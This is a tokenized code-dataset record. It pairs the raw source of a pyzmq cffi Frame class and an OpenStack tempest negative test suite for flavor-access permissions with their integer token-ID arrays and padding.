2004, 12, 13932, 14041, 12, 436, 9610, 737, 450, 83, 297, 1255, 63, 1606, 63, 633,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dimagol/trex-core
scripts/external_libs/pyzmq-14.5.0/python2/intel/ucs4/64bit/zmq/backend/cffi/message.py
41
1407
"""Dummy Frame object""" # Copyright (C) PyZMQ Developers # Distributed under the terms of the Modified BSD License. from ._cffi import ffi, C import zmq from zmq.utils.strtypes import unicode try: view = memoryview except NameError: view = buffer _content = lambda x: x.tobytes() if type(x) == memoryview else x class Frame(object): _data = None tracker = None closed = False more = False buffer = None def __init__(self, data, track=False): try: view(data) except TypeError: raise self._data = data if isinstance(data, unicode): raise TypeError("Unicode objects not allowed. Only: str/bytes, " + "buffer interfaces.") self.more = False self.tracker = None self.closed = False if track: self.tracker = zmq.MessageTracker() self.buffer = view(self.bytes) @property def bytes(self): data = _content(self._data) return data def __len__(self): return len(self.bytes) def __eq__(self, other): return self.bytes == _content(other) def __str__(self): if str is unicode: return self.bytes.decode() else: return self.bytes @property def done(self): return True Message = Frame __all__ = ['Frame', 'Message']
apache-2.0
[ 624, 11324, 11726, 909, 624, 199, 199, 3, 1898, 334, 35, 9, 1611, 58, 14449, 23493, 199, 3, 17484, 1334, 314, 2895, 402, 314, 22016, 6289, 844, 14, 199, 199, 504, 13653, 32407, 492, 30865, 12, 445, 199, 199, 646, 26633, 199, 504, 26633, 14, 1208, 14, 495, 1313, 492, 2649, 199, 199, 893, 26, 272, 2455, 275, 20228, 199, 2590, 12746, 26, 272, 2455, 275, 3335, 199, 199, 63, 1317, 275, 2400, 671, 26, 671, 14, 32557, 342, 340, 730, 8, 88, 9, 508, 20228, 587, 671, 199, 199, 533, 11726, 8, 785, 304, 272, 485, 576, 275, 488, 272, 15271, 275, 488, 272, 6876, 275, 756, 272, 1655, 275, 756, 272, 3335, 275, 488, 2378, 347, 636, 826, 721, 277, 12, 666, 12, 4426, 29, 797, 304, 267, 862, 26, 288, 2455, 8, 576, 9, 267, 871, 3146, 26, 288, 746, 398, 291, 423, 576, 275, 666, 398, 340, 1228, 8, 576, 12, 2649, 304, 288, 746, 3146, 480, 7087, 2251, 440, 4370, 14, 5972, 26, 620, 15, 2394, 12, 298, 435, 1169, 298, 2738, 8386, 2685, 398, 291, 14, 6878, 275, 756, 267, 291, 14, 8877, 275, 488, 267, 291, 14, 5938, 275, 756, 267, 340, 4426, 26, 288, 291, 14, 8877, 275, 26633, 14, 2209, 13652, 342, 398, 291, 14, 2738, 275, 2455, 8, 277, 14, 2394, 9, 339, 768, 1829, 272, 347, 2783, 8, 277, 304, 267, 666, 275, 485, 1317, 8, 277, 423, 576, 9, 267, 372, 666, 339, 347, 636, 552, 721, 277, 304, 267, 372, 822, 8, 277, 14, 2394, 9, 339, 347, 636, 4077, 721, 277, 12, 1163, 304, 267, 372, 291, 14, 2394, 508, 485, 1317, 8, 1848, 9, 339, 347, 636, 495, 721, 277, 304, 267, 340, 620, 365, 2649, 26, 288, 372, 291, 14, 2394, 14, 2708, 342, 267, 587, 26, 288, 372, 291, 14, 2394, 339, 768, 1829, 272, 347, 4224, 8, 277, 304, 267, 372, 715, 199, 199, 2209, 275, 11726, 199, 199, 363, 452, 363, 275, 788, 3160, 297, 283, 2209, 418, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 11324, 11726, 909, 624, 199, 199, 3, 1898, 334, 35, 9, 1611, 58, 14449, 23493, 199, 3, 17484, 1334, 314, 2895, 402, 314, 22016, 6289, 844, 14, 199, 199, 504, 13653, 32407, 492, 30865, 12, 445, 199, 199, 646, 26633, 199, 504, 26633, 14, 1208, 14, 495, 1313, 492, 2649, 199, 199, 893, 26, 272, 2455, 275, 20228, 199, 2590, 12746, 26, 272, 2455, 275, 3335, 199, 199, 63, 1317, 275, 2400, 671, 26, 671, 14, 32557, 342, 340, 730, 8, 88, 9, 508, 20228, 587, 671, 199, 199, 533, 11726, 8, 785, 304, 272, 485, 576, 275, 488, 272, 15271, 275, 488, 272, 6876, 275, 756, 272, 1655, 275, 756, 272, 3335, 275, 488, 2378, 347, 636, 826, 721, 277, 12, 666, 12, 4426, 29, 797, 304, 267, 862, 26, 288, 2455, 8, 576, 9, 267, 871, 3146, 26, 288, 746, 398, 291, 423, 576, 275, 666, 398, 340, 1228, 8, 576, 12, 2649, 304, 288, 746, 3146, 480, 7087, 2251, 440, 4370, 14, 5972, 26, 620, 15, 2394, 12, 298, 435, 1169, 298, 2738, 8386, 2685, 398, 291, 14, 6878, 275, 756, 267, 291, 14, 8877, 275, 488, 267, 291, 14, 5938, 275, 756, 267, 340, 4426, 26, 288, 291, 14, 8877, 275, 26633, 14, 2209, 13652, 342, 398, 291, 14, 2738, 275, 2455, 8, 277, 14, 2394, 9, 339, 768, 1829, 272, 347, 2783, 8, 277, 304, 267, 666, 275, 485, 1317, 8, 277, 423, 576, 9, 267, 372, 666, 339, 347, 636, 552, 721, 277, 304, 267, 372, 822, 8, 277, 14, 2394, 9, 339, 347, 636, 4077, 721, 277, 12, 1163, 304, 267, 372, 291, 14, 2394, 508, 485, 1317, 8, 1848, 9, 339, 347, 636, 495, 721, 277, 304, 267, 340, 620, 365, 2649, 26, 288, 372, 291, 14, 2394, 14, 2708, 342, 267, 587, 26, 288, 372, 291, 14, 2394, 339, 768, 1829, 272, 347, 4224, 8, 277, 304, 267, 372, 715, 199, 199, 2209, 275, 11726, 199, 199, 363, 452, 363, 275, 788, 3160, 297, 283, 2209, 418, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768,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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
hpcloud-mon/tempest
tempest/api/compute/admin/test_flavors_access_negative.py
4
6877
# Copyright 2013 IBM Corporation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import uuid from tempest_lib.common.utils import data_utils from tempest_lib import exceptions as lib_exc from tempest.api.compute import base from tempest import test class FlavorsAccessNegativeTestJSON(base.BaseV2ComputeAdminTest): """ Tests Flavor Access API extension. Add and remove Flavor Access require admin privileges. """ @classmethod def skip_checks(cls): super(FlavorsAccessNegativeTestJSON, cls).skip_checks() if not test.is_extension_enabled('OS-FLV-EXT-DATA', 'compute'): msg = "OS-FLV-EXT-DATA extension not enabled." raise cls.skipException(msg) @classmethod def setup_clients(cls): super(FlavorsAccessNegativeTestJSON, cls).setup_clients() cls.client = cls.os_adm.flavors_client @classmethod def resource_setup(cls): super(FlavorsAccessNegativeTestJSON, cls).resource_setup() cls.tenant_id = cls.flavors_client.tenant_id cls.flavor_name_prefix = 'test_flavor_access_' cls.ram = 512 cls.vcpus = 1 cls.disk = 10 @test.attr(type=['negative', 'gate']) @test.idempotent_id('0621c53e-d45d-40e7-951d-43e5e257b272') def test_flavor_access_list_with_public_flavor(self): # Test to list flavor access with exceptions by querying public flavor flavor_name = data_utils.rand_name(self.flavor_name_prefix) new_flavor_id = data_utils.rand_int_id(start=1000) new_flavor = self.client.create_flavor(flavor_name, self.ram, self.vcpus, self.disk, new_flavor_id, is_public='True') self.addCleanup(self.client.delete_flavor, new_flavor['id']) self.assertRaises(lib_exc.NotFound, self.client.list_flavor_access, new_flavor_id) @test.attr(type=['negative', 'gate']) @test.idempotent_id('41eaaade-6d37-4f28-9c74-f21b46ca67bd') def test_flavor_non_admin_add(self): # Test to add flavor access as a user without admin privileges. flavor_name = data_utils.rand_name(self.flavor_name_prefix) new_flavor_id = data_utils.rand_int_id(start=1000) new_flavor = self.client.create_flavor(flavor_name, self.ram, self.vcpus, self.disk, new_flavor_id, is_public='False') self.addCleanup(self.client.delete_flavor, new_flavor['id']) self.assertRaises(lib_exc.Forbidden, self.flavors_client.add_flavor_access, new_flavor['id'], self.tenant_id) @test.attr(type=['negative', 'gate']) @test.idempotent_id('073e79a6-c311-4525-82dc-6083d919cb3a') def test_flavor_non_admin_remove(self): # Test to remove flavor access as a user without admin privileges. flavor_name = data_utils.rand_name(self.flavor_name_prefix) new_flavor_id = data_utils.rand_int_id(start=1000) new_flavor = self.client.create_flavor(flavor_name, self.ram, self.vcpus, self.disk, new_flavor_id, is_public='False') self.addCleanup(self.client.delete_flavor, new_flavor['id']) # Add flavor access to a tenant. self.client.add_flavor_access(new_flavor['id'], self.tenant_id) self.addCleanup(self.client.remove_flavor_access, new_flavor['id'], self.tenant_id) self.assertRaises(lib_exc.Forbidden, self.flavors_client.remove_flavor_access, new_flavor['id'], self.tenant_id) @test.attr(type=['negative', 'gate']) @test.idempotent_id('f3592cc0-0306-483c-b210-9a7b5346eddc') def test_add_flavor_access_duplicate(self): # Create a new flavor. flavor_name = data_utils.rand_name(self.flavor_name_prefix) new_flavor_id = data_utils.rand_int_id(start=1000) new_flavor = self.client.create_flavor(flavor_name, self.ram, self.vcpus, self.disk, new_flavor_id, is_public='False') self.addCleanup(self.client.delete_flavor, new_flavor['id']) # Add flavor access to a tenant. self.client.add_flavor_access(new_flavor['id'], self.tenant_id) self.addCleanup(self.client.remove_flavor_access, new_flavor['id'], self.tenant_id) # An exception should be raised when adding flavor access to the same # tenant self.assertRaises(lib_exc.Conflict, self.client.add_flavor_access, new_flavor['id'], self.tenant_id) @test.attr(type=['negative', 'gate']) @test.idempotent_id('1f710927-3bc7-4381-9f82-0ca6e42644b7') def test_remove_flavor_access_not_found(self): # Create a new flavor. flavor_name = data_utils.rand_name(self.flavor_name_prefix) new_flavor_id = data_utils.rand_int_id(start=1000) new_flavor = self.client.create_flavor(flavor_name, self.ram, self.vcpus, self.disk, new_flavor_id, is_public='False') self.addCleanup(self.client.delete_flavor, new_flavor['id']) # An exception should be raised when flavor access is not found self.assertRaises(lib_exc.NotFound, self.client.remove_flavor_access, new_flavor['id'], str(uuid.uuid4()))
apache-2.0
[ 3, 1898, 6171, 26202, 11098, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 5377, 199, 199, 504, 24076, 63, 773, 14, 2330, 14, 1208, 492, 666, 63, 1208, 199, 504, 24076, 63, 773, 492, 4967, 465, 1973, 63, 2804, 199, 199, 504, 24076, 14, 1246, 14, 3357, 492, 1300, 199, 504, 24076, 492, 511, 421, 199, 533, 481, 13579, 3946, 15562, 774, 6243, 8, 1095, 14, 1563, 54, 18, 8564, 4880, 774, 304, 339, 408, 272, 6496, 481, 4271, 11003, 3261, 3329, 14, 272, 2654, 436, 2813, 481, 4271, 11003, 4409, 4628, 20001, 14, 272, 408, 339, 768, 3744, 272, 347, 3372, 63, 8625, 8, 1886, 304, 267, 1613, 8, 38, 13579, 3946, 15562, 774, 6243, 12, 843, 680, 2759, 63, 8625, 342, 267, 340, 440, 511, 14, 374, 63, 3435, 63, 3827, 360, 3100, 13, 3143, 54, 13, 2472, 13, 3998, 297, 283, 3357, 735, 288, 1499, 275, 298, 3100, 13, 3143, 54, 13, 2472, 13, 3998, 3329, 440, 5223, 2122, 288, 746, 843, 14, 2759, 1726, 8, 1328, 9, 339, 768, 3744, 272, 347, 3272, 63, 14555, 8, 1886, 304, 267, 1613, 8, 38, 13579, 3946, 15562, 774, 6243, 12, 843, 680, 2758, 63, 14555, 342, 267, 843, 14, 1258, 275, 843, 14, 736, 63, 14464, 14, 18664, 63, 1258, 339, 768, 3744, 272, 347, 2073, 63, 2758, 8, 1886, 304, 267, 1613, 8, 38, 13579, 3946, 15562, 774, 6243, 12, 843, 680, 1927, 63, 2758, 342, 398, 843, 14, 4647, 63, 344, 275, 843, 14, 18664, 63, 1258, 14, 4647, 63, 344, 267, 843, 14, 6081, 63, 354, 63, 1861, 275, 283, 396, 63, 6081, 63, 2732, 8650, 267, 843, 14, 5975, 275, 10574, 267, 843, 14, 19685, 275, 413, 267, 843, 14, 4032, 275, 1616, 339, 768, 396, 14, 962, 8, 466, 2968, 7371, 297, 283, 3237, 1105, 272, 768, 396, 14, 21307, 63, 344, 360, 1690, 2025, 67, 2481, 69, 13, 68, 2322, 68, 13, 2167, 69, 23, 13, 26525, 68, 13, 2824, 69, 21, 69, 11551, 66, 12900, 358, 272, 347, 511, 63, 6081, 63, 2732, 63, 513, 63, 1045, 63, 3455, 63, 6081, 8, 277, 304, 267, 327, 1379, 370, 769, 8541, 2879, 543, 4967, 701, 27405, 4575, 8541, 267, 8541, 63, 354, 275, 666, 63, 1208, 14, 3759, 63, 354, 8, 277, 14, 6081, 63, 354, 63, 1861, 9, 267, 892, 63, 6081, 63, 344, 275, 666, 63, 1208, 14, 3759, 63, 442, 63, 344, 8, 928, 29, 5279, 9, 267, 892, 63, 6081, 275, 291, 14, 1258, 14, 981, 63, 6081, 8, 6081, 63, 354, 12, 6901, 291, 14, 5975, 12, 291, 14, 19685, 12, 6901, 291, 14, 4032, 12, 6901, 892, 63, 6081, 63, 344, 12, 6901, 365, 63, 3455, 534, 549, 358, 267, 291, 14, 12808, 8, 277, 14, 1258, 14, 1807, 63, 6081, 12, 892, 63, 6081, 459, 344, 1105, 267, 291, 14, 1855, 8, 773, 63, 2804, 14, 4667, 12, 2079, 291, 14, 1258, 14, 513, 63, 6081, 63, 2732, 12, 2079, 892, 63, 6081, 63, 344, 9, 339, 768, 396, 14, 962, 8, 466, 2968, 7371, 297, 283, 3237, 1105, 272, 768, 396, 14, 21307, 63, 344, 360, 2953, 69, 2158, 9587, 13, 22, 68, 1401, 13, 20, 70, 1651, 13, 25, 67, 1342, 13, 70, 2025, 66, 2466, 696, 1822, 3691, 358, 272, 347, 511, 63, 6081, 63, 2865, 63, 2113, 63, 525, 8, 277, 304, 267, 327, 1379, 370, 1050, 8541, 2879, 465, 282, 922, 1928, 4628, 20001, 14, 267, 8541, 63, 354, 275, 666, 63, 1208, 14, 3759, 63, 354, 8, 277, 14, 6081, 63, 354, 63, 1861, 9, 267, 892, 63, 6081, 63, 344, 275, 666, 63, 1208, 14, 3759, 63, 442, 63, 344, 8, 928, 29, 5279, 9, 267, 892, 63, 6081, 275, 291, 14, 1258, 14, 981, 63, 6081, 8, 6081, 63, 354, 12, 6901, 291, 14, 5975, 12, 291, 14, 19685, 12, 6901, 291, 14, 4032, 12, 6901, 892, 63, 6081, 63, 344, 12, 6901, 365, 63, 3455, 534, 797, 358, 267, 291, 14, 12808, 8, 277, 14, 1258, 14, 1807, 63, 6081, 12, 892, 63, 6081, 459, 344, 1105, 267, 291, 14, 1855, 8, 773, 63, 2804, 14, 17454, 12, 2079, 291, 14, 18664, 63, 1258, 14, 525, 63, 6081, 63, 2732, 12, 2079, 892, 63, 6081, 459, 344, 995, 2079, 291, 14, 4647, 63, 344, 9, 339, 768, 396, 14, 962, 8, 466, 2968, 7371, 297, 283, 3237, 1105, 272, 768, 396, 14, 21307, 63, 344, 360, 26010, 69, 1965, 65, 22, 13, 67, 17539, 13, 2322, 821, 13, 2564, 3833, 13, 22, 19573, 68, 32624, 2894, 19, 65, 358, 272, 347, 511, 63, 6081, 63, 2865, 63, 2113, 63, 2168, 8, 277, 304, 267, 327, 1379, 370, 2813, 8541, 2879, 465, 282, 922, 1928, 4628, 20001, 14, 267, 8541, 63, 354, 275, 666, 63, 1208, 14, 3759, 63, 354, 8, 277, 14, 6081, 63, 354, 63, 1861, 9, 267, 892, 63, 6081, 63, 344, 275, 666, 63, 1208, 14, 3759, 63, 442, 63, 344, 8, 928, 29, 5279, 9, 267, 892, 63, 6081, 275, 291, 14, 1258, 14, 981, 63, 6081, 8, 6081, 63, 354, 12, 6901, 291, 14, 5975, 12, 291, 14, 19685, 12, 6901, 291, 14, 4032, 12, 6901, 892, 63, 6081, 63, 344, 12, 6901, 365, 63, 3455, 534, 797, 358, 267, 291, 14, 12808, 8, 277 ]
[ 1898, 6171, 26202, 11098, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 5377, 199, 199, 504, 24076, 63, 773, 14, 2330, 14, 1208, 492, 666, 63, 1208, 199, 504, 24076, 63, 773, 492, 4967, 465, 1973, 63, 2804, 199, 199, 504, 24076, 14, 1246, 14, 3357, 492, 1300, 199, 504, 24076, 492, 511, 421, 199, 533, 481, 13579, 3946, 15562, 774, 6243, 8, 1095, 14, 1563, 54, 18, 8564, 4880, 774, 304, 339, 408, 272, 6496, 481, 4271, 11003, 3261, 3329, 14, 272, 2654, 436, 2813, 481, 4271, 11003, 4409, 4628, 20001, 14, 272, 408, 339, 768, 3744, 272, 347, 3372, 63, 8625, 8, 1886, 304, 267, 1613, 8, 38, 13579, 3946, 15562, 774, 6243, 12, 843, 680, 2759, 63, 8625, 342, 267, 340, 440, 511, 14, 374, 63, 3435, 63, 3827, 360, 3100, 13, 3143, 54, 13, 2472, 13, 3998, 297, 283, 3357, 735, 